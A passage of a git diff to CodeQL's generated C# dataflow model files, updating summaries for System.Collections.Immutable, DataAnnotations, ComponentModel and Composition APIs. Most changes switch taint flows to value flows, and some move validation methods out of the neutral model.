"ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._root].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2+Node._key]", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "SetItems", "(System.Collections.Generic.IEnumerable>)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "SetItems", "(System.Collections.Generic.IEnumerable>)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "SetItem", "(TKey,TValue)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "SetItems", "(System.Collections.Generic.IEnumerable>)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "SetItems", "(System.Collections.Generic.IEnumerable>)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToBuilder", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "TryGetKey", "(TKey,TKey)", "", "Argument[0]", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "TryGetKey", "(TKey,TKey)", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._root].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2+Node._key]", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "WithComparers", "(System.Collections.Generic.IComparer)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer]", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "WithComparers", "(System.Collections.Generic.IComparer)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "WithComparers", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "WithComparers", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[1]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer]", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "WithComparers", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "get_KeyComparer", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "get_ValueComparer", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Create", "(System.Collections.Generic.IComparer)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -328,10 +332,10 @@ extensions: - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Create", "(T[])", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "CreateBuilder", "(System.Collections.Generic.IComparer)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "CreateRange", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedSet", False, "CreateRange", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable)", "", "Argument[1].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedSet", False, "CreateRange", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedSet", False, "ToImmutableSortedSet", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedSet", False, "ToImmutableSortedSet", "(System.Collections.Generic.IEnumerable,System.Collections.Generic.IComparer)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet", False, "CreateRange", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet", False, "CreateRange", "(System.Collections.Generic.IEnumerable)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet", False, "ToImmutableSortedSet", "(System.Collections.Generic.IEnumerable)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet", False, "ToImmutableSortedSet", "(System.Collections.Generic.IEnumerable,System.Collections.Generic.IComparer)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "ToImmutableSortedSet", "(System.Collections.Generic.IEnumerable,System.Collections.Generic.IComparer)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet+Builder", False, "IntersectWith", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet+Builder", False, "SymmetricExceptWith", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key]", "value", "dfc-generated"] @@ -344,18 +348,19 @@ extensions: - ["System.Collections.Immutable", "ImmutableSortedSet+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Clear", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Clear", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Except", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Intersect", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Remove", "(T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Except", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Intersect", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Remove", "(T)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "SymmetricExcept", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "Argument[this].Element", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "SymmetricExcept", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key]", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet", False, "SymmetricExcept", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "ToBuilder", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "TryGetValue", "(T,T)", "", "Argument[0]", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "TryGetValue", "(T,T)", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key]", "Argument[1]", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Union", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Union", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Union", "(System.Collections.Generic.IEnumerable)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Union", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "WithComparer", "(System.Collections.Generic.IComparer)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer]", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet", False, "WithComparer", "(System.Collections.Generic.IComparer)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "get_KeyComparer", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "get_Max", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "get_Min", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key]", "ReturnValue", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.ComponentModel.DataAnnotations.model.yml b/csharp/ql/lib/ext/generated/System.ComponentModel.DataAnnotations.model.yml index 0f0a170673bf..8e33abdec25b 100644 --- a/csharp/ql/lib/ext/generated/System.ComponentModel.DataAnnotations.model.yml +++ b/csharp/ql/lib/ext/generated/System.ComponentModel.DataAnnotations.model.yml @@ -47,10 +47,15 @@ extensions: - ["System.ComponentModel.DataAnnotations", "UIHintAttribute", False, "get_ControlParameters", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.ComponentModel.DataAnnotations", "UIHintAttribute", False, "get_PresentationLayer", "()", "", "Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute._implementation].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute+UIHintImplementation.PresentationLayer]", "ReturnValue", "value", "dfc-generated"] - ["System.ComponentModel.DataAnnotations", "UIHintAttribute", False, "get_UIHint", "()", "", "Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute._implementation].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute+UIHintImplementation.UIHint]", "ReturnValue", "value", "dfc-generated"] + - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", False, "GetValidationResult", "(System.Object,System.ComponentModel.DataAnnotations.ValidationContext)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] + - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", False, "Validate", "(System.Object,System.ComponentModel.DataAnnotations.ValidationContext)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] + - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", False, "Validate", "(System.Object,System.String)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", False, "ValidationAttribute", "(System.Func)", "", "Argument[0]", "Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.ValidationAttribute._errorMessageResourceAccessor]", "value", "dfc-generated"] - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", False, "get_ErrorMessageString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", True, "FormatErrorMessage", "(System.String)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", True, "FormatErrorMessage", "(System.String)", "", "Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString]", "ReturnValue", "taint", "dfc-generated"] + - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", True, "IsValid", "(System.Object)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] + - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", True, "IsValid", "(System.Object,System.ComponentModel.DataAnnotations.ValidationContext)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.ComponentModel.DataAnnotations", "ValidationContext", False, "InitializeServiceProvider", "(System.Func)", "", "Argument[0]", "Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.ValidationContext._serviceProvider]", "value", "dfc-generated"] - ["System.ComponentModel.DataAnnotations", "ValidationContext", False, "ValidationContext", "(System.Object,System.IServiceProvider,System.Collections.Generic.IDictionary)", "", "Argument[0]", "Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationContext.ObjectInstance]", "value", "dfc-generated"] - ["System.ComponentModel.DataAnnotations", "ValidationContext", False, "get_Items", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] @@ -66,26 +71,20 @@ extensions: pack: codeql/csharp-all extensible: neutralModel data: - - ["System.ComponentModel.DataAnnotations", "AllowedValuesAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "AllowedValuesAttribute", "get_Values", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "AssociatedMetadataTypeTypeDescriptionProvider", "AssociatedMetadataTypeTypeDescriptionProvider", "(System.Type)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "AssociatedMetadataTypeTypeDescriptionProvider", "AssociatedMetadataTypeTypeDescriptionProvider", "(System.Type,System.Type)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "AssociationAttribute", "get_Name", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "AssociationAttribute", "get_OtherKey", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "AssociationAttribute", "get_ThisKey", "()", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "Base64StringAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "CompareAttribute", "get_OtherProperty", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "CompareAttribute", "get_RequiresValidationContext", "()", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "CreditCardAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "CustomValidationAttribute", "IsValid", "(System.Object,System.ComponentModel.DataAnnotations.ValidationContext)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "CustomValidationAttribute", "get_Method", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "CustomValidationAttribute", "get_RequiresValidationContext", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "CustomValidationAttribute", "get_ValidatorType", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "DataTypeAttribute", "DataTypeAttribute", "(System.ComponentModel.DataAnnotations.DataType)", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "DataTypeAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "DataTypeAttribute", "get_CustomDataType", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "DataTypeAttribute", "get_DataType", "()", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "DeniedValuesAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "DeniedValuesAttribute", "get_Values", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "DisplayColumnAttribute", "DisplayColumnAttribute", "(System.String)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "DisplayColumnAttribute", "DisplayColumnAttribute", "(System.String,System.String)", "summary", "df-generated"] @@ -94,52 +93,35 @@ extensions: - ["System.ComponentModel.DataAnnotations", "DisplayColumnAttribute", "get_SortDescending", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "EditableAttribute", "EditableAttribute", "(System.Boolean)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "EditableAttribute", "get_AllowEdit", "()", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "EmailAddressAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "EnumDataTypeAttribute", "EnumDataTypeAttribute", "(System.Type)", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "EnumDataTypeAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "EnumDataTypeAttribute", "get_EnumType", "()", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "FileExtensionsAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "FilterUIHintAttribute", "Equals", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "FilterUIHintAttribute", "FilterUIHintAttribute", "(System.String)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "FilterUIHintAttribute", "FilterUIHintAttribute", "(System.String,System.String)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "FilterUIHintAttribute", "GetHashCode", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "IValidatableObject", "Validate", "(System.ComponentModel.DataAnnotations.ValidationContext)", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "LengthAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "LengthAttribute", "LengthAttribute", "(System.Int32,System.Int32)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "LengthAttribute", "get_MaximumLength", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "LengthAttribute", "get_MinimumLength", "()", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "MaxLengthAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "MaxLengthAttribute", "MaxLengthAttribute", "(System.Int32)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "MaxLengthAttribute", "get_Length", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "MetadataTypeAttribute", "MetadataTypeAttribute", "(System.Type)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "MetadataTypeAttribute", "get_MetadataClassType", "()", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "MinLengthAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "MinLengthAttribute", "MinLengthAttribute", "(System.Int32)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "MinLengthAttribute", "get_Length", "()", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "PhoneAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "RangeAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "RangeAttribute", "RangeAttribute", "(System.Double,System.Double)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "RangeAttribute", "RangeAttribute", "(System.Int32,System.Int32)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "RangeAttribute", "get_OperandType", "()", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "RegularExpressionAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "RegularExpressionAttribute", "get_MatchTimeout", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "RegularExpressionAttribute", "get_Pattern", "()", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "RequiredAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "ScaffoldColumnAttribute", "ScaffoldColumnAttribute", "(System.Boolean)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "ScaffoldColumnAttribute", "get_Scaffold", "()", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "StringLengthAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "StringLengthAttribute", "StringLengthAttribute", "(System.Int32)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "StringLengthAttribute", "get_MaximumLength", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "UIHintAttribute", "Equals", "(System.Object)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "UIHintAttribute", "GetHashCode", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "UIHintAttribute", "UIHintAttribute", "(System.String)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "UIHintAttribute", "UIHintAttribute", "(System.String,System.String)", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "UrlAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", "GetValidationResult", "(System.Object,System.ComponentModel.DataAnnotations.ValidationContext)", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", "IsValid", "(System.Object)", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", "IsValid", "(System.Object,System.ComponentModel.DataAnnotations.ValidationContext)", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", "Validate", "(System.Object,System.ComponentModel.DataAnnotations.ValidationContext)", "summary", "df-generated"] - - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", "Validate", "(System.Object,System.String)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", "ValidationAttribute", "(System.String)", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "ValidationAttribute", "get_RequiresValidationContext", "()", "summary", "df-generated"] - ["System.ComponentModel.DataAnnotations", "ValidationContext", "ValidationContext", "(System.Object)", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.ComponentModel.model.yml b/csharp/ql/lib/ext/generated/System.ComponentModel.model.yml index 59baa48911d4..0cbe069a76e5 100644 --- a/csharp/ql/lib/ext/generated/System.ComponentModel.model.yml +++ b/csharp/ql/lib/ext/generated/System.ComponentModel.model.yml @@ -195,16 +195,17 @@ extensions: - ["System.ComponentModel", "TypeConverter", False, "ConvertFromString", "(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.String)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - ["System.ComponentModel", "TypeConverter", False, "ConvertFromString", "(System.ComponentModel.ITypeDescriptorContext,System.String)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["System.ComponentModel", "TypeConverter", False, "ConvertFromString", "(System.String)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.ComponentModel", "TypeConverter", False, "ConvertTo", "(System.Object,System.Type)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.ComponentModel", "TypeConverter", False, "ConvertTo", "(System.Object,System.Type)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.ComponentModel", "TypeConverter", False, "ConvertTo", "(System.Object,System.Type)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.ComponentModel", "TypeConverter", False, "ConvertToInvariantString", "(System.ComponentModel.ITypeDescriptorContext,System.Object)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["System.ComponentModel", "TypeConverter", False, "ConvertToInvariantString", "(System.ComponentModel.ITypeDescriptorContext,System.Object)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] - ["System.ComponentModel", "TypeConverter", False, "ConvertToInvariantString", "(System.ComponentModel.ITypeDescriptorContext,System.Object)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.ComponentModel", "TypeConverter", False, "ConvertToInvariantString", "(System.Object)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.ComponentModel", "TypeConverter", False, "ConvertToInvariantString", "(System.Object)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.ComponentModel", "TypeConverter", False, "ConvertToInvariantString", "(System.Object)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.ComponentModel", "TypeConverter", False, "ConvertToString", "(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object)", "", "Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator]", "ReturnValue", "taint", "dfc-generated"] - - ["System.ComponentModel", "TypeConverter", False, "ConvertToString", "(System.ComponentModel.ITypeDescriptorContext,System.Object)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["System.ComponentModel", "TypeConverter", False, "ConvertToString", "(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object)", "", "Argument[2]", "ReturnValue", "value", "df-generated"] + - ["System.ComponentModel", "TypeConverter", False, "ConvertToString", "(System.ComponentModel.ITypeDescriptorContext,System.Object)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] - ["System.ComponentModel", "TypeConverter", False, "ConvertToString", "(System.ComponentModel.ITypeDescriptorContext,System.Object)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.ComponentModel", "TypeConverter", False, "ConvertToString", "(System.Object)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.ComponentModel", "TypeConverter", False, "ConvertToString", "(System.Object)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.ComponentModel", "TypeConverter", False, "ConvertToString", "(System.Object)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.ComponentModel", "TypeConverter", False, "GetProperties", "(System.ComponentModel.ITypeDescriptorContext,System.Object)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.ComponentModel", "TypeConverter", False, "GetProperties", "(System.Object)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -215,6 +216,7 @@ extensions: - ["System.ComponentModel", "TypeConverter", True, "ConvertFrom", "(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - ["System.ComponentModel", "TypeConverter", True, "ConvertTo", "(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type)", "", "Argument[2].Element", "ReturnValue", "taint", "dfc-generated"] - ["System.ComponentModel", "TypeConverter", True, "ConvertTo", "(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["System.ComponentModel", "TypeConverter", True, "ConvertTo", "(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type)", "", "Argument[2]", "ReturnValue", "value", "df-generated"] - ["System.ComponentModel", "TypeConverter", True, "GetProperties", "(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[])", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.ComponentModel", "TypeConverter", True, "GetStandardValues", "(System.ComponentModel.ITypeDescriptorContext)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.ComponentModel", "TypeConverterAttribute", False, "TypeConverterAttribute", "(System.String)", "", "Argument[0]", "Argument[this].Property[System.ComponentModel.TypeConverterAttribute.ConverterTypeName]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Composition.Hosting.Core.model.yml b/csharp/ql/lib/ext/generated/System.Composition.Hosting.Core.model.yml index 06563c58f57e..84581c913cb6 100644 --- a/csharp/ql/lib/ext/generated/System.Composition.Hosting.Core.model.yml +++ b/csharp/ql/lib/ext/generated/System.Composition.Hosting.Core.model.yml @@ -47,7 +47,7 @@ extensions: - ["System.Composition.Hosting.Core", "ExportDescriptorProvider", True, "GetExportDescriptors", "(System.Composition.Hosting.Core.CompositionContract,System.Composition.Hosting.Core.DependencyAccessor)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Composition.Hosting.Core", "ExportDescriptorProvider", True, "GetExportDescriptors", 